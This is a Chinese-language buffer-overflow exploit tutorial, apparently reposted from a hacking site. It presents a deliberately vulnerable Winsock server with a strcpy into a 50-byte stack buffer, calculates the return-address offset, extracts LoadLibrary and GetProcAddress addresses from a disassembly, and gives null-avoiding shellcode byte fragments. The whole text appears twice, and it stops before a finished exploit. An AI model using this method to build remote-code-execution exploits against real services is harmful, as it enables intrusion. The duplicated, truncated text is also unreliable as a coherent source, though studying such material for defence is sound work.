下面是一个有问题的internet服务程序:
/****************************************************************************/
/* server.cpp By Ipxodi
*/
#include <winsock2.h>
#include <stdio.h>
char Buff[1024];
void overflow(char * s,int size)
{
char s1[50];
printf("receive %d bytes",size);
s[size]=0;
strcpy(s1,s);
}
int main()
{
WSADATA wsa;
SOCKET listenFD;
int ret;
char asd[2048];
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(3764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
unsigned long lBytesRead;
while(1) {
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
overflow(Buff,lBytesRead);
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}
WSACleanup();
return 0;
}
/****************************************************************************/
函数Overflow有问题,看到了吗?
好,现在我们来写溢出***程序:
1)先算一下溢出(返回)地址应该在哪里?
(:啊?算出?你上次不是用程序试吗?我好不容易才看懂你的算法,这次怎么不用了?
:唉,老兄,上次是没有敌人的原代码,懒得看汇编,才会试,
现在原代码就放在你眼前,你自己算一下不就出来了?)
下面是溢出时刻堆栈布局:
内存底部 内存顶部
buffer EBP ret
<------ [NNNNNNNNNNN][N ] [A ]SSSS
^&buffer
堆栈顶部 堆栈底部
可以看到,buffer我们开的是50,32位系统针对数组进行四位对齐,所以实际缓冲区是
52,加上EBP占去4个字节,就是52+4=56,那么,ret就是第56字节了。
2)再看看server里面LoadLibrary和GetProcAddress的地址是什么?
启动wdasm32,加载server.exe
:004028EC 68F0014200 push 004201F0
* Reference To: KERNEL32.LoadLibraryA, Ord:01C2h
|
:004028F1 FF15E8614200 Call dword ptr [004261E8]
好,KERNEL32.LoadLibraryA(就是LoadLibrary的别名)的入口地址:0x004261E8。
:00402911 51 push ecx
* Reference To: KERNEL32.GetProcAddress, Ord:013Eh
|
:00402912 FF15E4614200 Call dword ptr [004261E4]
好,KERNEL32.GetProcAddress的入口地址:0x004261E4。
这两个地址都有00,我们不能直接在shellcode里面引用,因此采用如下变通方案:
0xbb,0x99, 0xe8, 0x61, 0x42, /* mov ebx, 004261E8h;(&LoadLibrary) */
0xc1, 0xeb, 0x08, /* shr ebx, 08 */
以及
0xb3, 0xe4, /* mov bl, e4 &GetProcAddr */
/****************************************************************************/
/* server.cpp By Ipxodi
*/
#include <winsock2.h>
#include <stdio.h>
char Buff[1024];
void overflow(char * s,int size)
{
char s1[50];
printf("receive %d bytes",size);
s[size]=0;
strcpy(s1,s);
}
int main()
{
WSADATA wsa;
SOCKET listenFD;
int ret;
char asd[2048];
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(3764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
unsigned long lBytesRead;
while(1) {
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
overflow(Buff,lBytesRead);
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}
WSACleanup();
return 0;
}
/****************************************************************************/
函数Overflow有问题,看到了吗?
好,现在我们来写溢出***程序:
1)先算一下溢出(返回)地址应该在哪里?
(:啊?算出?你上次不是用程序试吗?我好不容易才看懂你的算法,这次怎么不用了?
:唉,老兄,上次是没有敌人的原代码,懒得看汇编,才会试,
现在原代码就放在你眼前,你自己算一下不就出来了?)
下面是溢出时刻堆栈布局:
内存底部 内存顶部
buffer EBP ret
<------ [NNNNNNNNNNN][N ] [A ]SSSS
^&buffer
堆栈顶部 堆栈底部
可以看到,buffer我们开的是50,32位系统针对数组进行四位对齐,所以实际缓冲区是
52,加上EBP占去4个字节,就是52+4=56,那么,ret就是第56字节了。
2)再看看server里面LoadLibrary和GetProcAddress的地址是什么?
启动wdasm32,加载server.exe
:004028EC 68F0014200 push 004201F0
* Reference To: KERNEL32.LoadLibraryA, Ord:01C2h
|
:004028F1 FF15E8614200 Call dword ptr [004261E8]
好,KERNEL32.LoadLibraryA(就是LoadLibrary的别名)的入口地址:0x004261E8。
:00402911 51 push ecx
* Reference To: KERNEL32.GetProcAddress, Ord:013Eh
|
:00402912 FF15E4614200 Call dword ptr [004261E4]
好,KERNEL32.GetProcAddress的入口地址:0x004261E4。
这两个地址都有00,我们不能直接在shellcode里面引用,因此采用如下变通方案:
0xbb,0x99, 0xe8, 0x61, 0x42, /* mov ebx, 004261E8h;(&LoadLibrary) */
0xc1, 0xeb, 0x08, /* shr ebx, 08 */
以及
0xb3, 0xe4, /* mov bl, e4 &GetProcAddr */
本篇文章来源于 ***基地-全球最大的中文***站 原文链接: [url]http://www.hackbase.com/tech/2008-04-25/40568.html[/url]
转载于:https://blog.51cto.com/hyuhan/104937